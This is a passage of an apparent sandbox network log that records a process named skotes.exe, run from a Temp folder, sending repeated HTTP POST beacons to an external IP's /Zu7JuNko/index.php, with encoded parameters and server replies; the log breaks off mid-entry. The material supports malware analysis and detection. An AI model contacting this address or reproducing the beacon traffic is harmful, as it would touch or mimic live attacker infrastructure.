Nov 23, 2024 21:17:47.897890091 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 01:09:05 GMT Age: 68922 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 23, 2024 21:17:57.990437031 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 21:18:08.192107916 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 21:18:18.390702009 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 21:18:28.590645075 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 21:18:38.788260937 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 21:19:09.312130928 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 23, 2024 21:19:09.638108015 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 01:09:05 GMT Age: 69004 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 23, 2024 21:19:27.922489882 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 23, 2024 21:19:28.246798992 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 01:09:05 GMT Age: 69023 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 23, 2024 21:19:29.386288881 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 23, 2024 21:19:29.716428041 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 01:09:05 GMT Age: 69024 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.8	49949	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:16:29.106888056 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 34 32 39 37 34 42 38 35 41 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB42974B85A82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Nov 23, 2024 21:16:30.537162066 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:16:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.8	49959	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:16:32.295903921 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 21:16:33.674609900 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:16:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.8	49966	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:16:35.313394070 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 34 32 39 37 34 42 38 35 41 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB42974B85A82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Nov 23, 2024 21:16:36.685152054 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:16:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.8	49974	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:16:38.436507940 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 21:16:39.766359091 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:16:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.8	49983	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:16:41.454303026 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 34 32 39 37 34 42 38 35 41 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB42974B85A82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Nov 23, 2024 21:16:42.921597004 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:16:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.8	49990	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:16:44.672787905 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 21:16:46.051322937 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:16:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.8	49997	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:16:47.701806068 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 34 32 39 37 34 42 38 35 41 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB42974B85A82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Nov 23, 2024 21:16:49.164597988 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:16:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.8	50006	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:16:50.917706013 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 21:16:52.300594091 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:16:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.8	50018	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:16:53.944036007 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 34 32 39 37 34 42 38 35 41 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB42974B85A82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Nov 23, 2024 21:16:55.311384916 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:16:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.8	50031	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:16:57.061062098 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 21:16:58.429975033 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:16:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.8	50040	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:17:00.056349993 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 34 32 39 37 34 42 38 35 41 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB42974B85A82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Nov 23, 2024 21:17:01.438014984 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:17:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.8	50049	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:17:03.179908991 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 21:17:04.567425013 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:17:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.8	50056	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:17:06.262689114 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 34 32 39 37 34 42 38 35 41 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB42974B85A82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Nov 23, 2024 21:17:07.654727936 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:17:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.8	50065	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:17:09.404285908 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 21:17:10.877310038 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:17:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.8	50073	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:17:12.524969101 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 34 32 39 37 34 42 38 35 41 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB42974B85A82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Nov 23, 2024 21:17:13.977046013 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:17:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.8	50080	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:17:15.718070030 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 21:17:17.109152079 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:17:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.8	50087	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:17:18.742088079 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 34 32 39 37 34 42 38 35 41 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB42974B85A82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Nov 23, 2024 21:17:20.154072046 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:17:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.8	50095	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:17:21.894505978 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 21:17:23.328490019 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:17:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.8	50110	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:17:24.959810972 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 34 32 39 37 34 42 38 35 41 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB42974B85A82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Nov 23, 2024 21:17:26.312639952 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:17:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.8	50119	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:17:28.064218044 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 21:17:29.453142881 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:17:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.8	50126	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:17:31.083786011 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 34 32 39 37 34 42 38 35 41 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: 